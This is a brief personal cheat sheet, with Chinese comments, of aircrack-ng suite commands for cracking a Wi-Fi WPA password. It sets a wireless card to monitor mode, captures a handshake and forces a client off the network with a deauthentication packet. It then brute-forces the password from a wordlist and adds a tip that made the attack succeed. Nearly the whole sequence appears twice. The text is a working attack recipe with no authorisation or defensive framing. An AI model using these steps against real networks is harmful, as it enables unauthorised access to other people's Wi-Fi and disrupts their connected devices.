airmon-ng start wlan0
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up
airodump-ng wlan0mon #查看可以搜索到的AP
airodump-ng wlan0mon --channel X(频道) --bssid Y(MAC) -w Z(保存的包).cap
#现在开始抓取网络上的handshake包
#新开终端
aireplay-ng -0 1 -a X(AP的MAC) -c Y(客户端MAC) wlan0mon
#这是让客户端掉线然后和AP重连 抓到handshake包
#直到上一个终端右上角提示 抓取到handshake包
#开始破解
aircrack-ng -w (字典) -b (bssid) (.cap)
#我没有成功 哪怕密码就在字典里面
#成功!字典里面不能出现空格
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up
airodump-ng wlan0mon #查看可以搜索到的AP
airodump-ng wlan0mon --channel X(频道) --bssid Y(MAC) -w Z(保存的包).cap
#现在开始抓取网络上的handshake包
#新开终端
aireplay-ng -0 1 -a X(AP的MAC) -c Y(客户端MAC) wlan0mon
#这是让客户端掉线然后和AP重连 抓到handshake包
#直到上一个终端右上角提示 抓取到handshake包
#开始破解
aircrack-ng -w (字典) -b (bssid) (.cap)
#我没有成功 哪怕密码就在字典里面
#成功!字典里面不能出现空格